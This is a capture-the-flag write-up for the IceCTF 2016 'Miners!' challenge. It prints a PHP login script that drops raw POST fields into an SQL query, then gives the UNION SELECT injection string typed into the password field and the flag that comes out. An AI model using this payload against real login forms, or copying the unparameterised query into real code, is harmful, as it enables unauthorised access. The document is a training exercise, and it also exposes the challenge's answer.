IceCTF 2016: Miners!


The miners website has been working on adding a login portal so that all miners can get the flag, but they haven’t made any accounts! However, your boss demands the flag now! Can you get in anyway?


The authors of the miners site have conveniently included a link to the PHP code they use to validate logins.

include "config.php";
$con = mysqli_connect($MYSQL_HOST, $MYSQL_USER, $MYSQL_PASS, $MYSQL_DB);
$username = $_POST["username"];
$password = $_POST["password"];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($con, $query);

if (mysqli_num_rows($result) !== 1) {
  echo "<h1>Login failed.</h1>";
  } else {
    echo "<h1>Logged in!</h1>";
	echo "<p>Your flag is: $FLAG</p>";

The site will let you in if the query returns 1 and only 1 record.

The challenge description suggests that there are no valid users in the database, but we need it to return 1 record anyway.

The SQL UNION keyword, will join two seperate SELECT queries together, provided that they both have the same number of fields.

We can make the assumption that the users table has three fields, user_id, username, and password.

If the string, ' UNION SELECT '1','2','3 is injected into the password field, the whole query becomes

SELECT * FROM users WHERE username='' AND password='' UNION SELECT '1','2','3'

This gives us the flag, IceCTF{the_miners_union_is_a_strong_one}.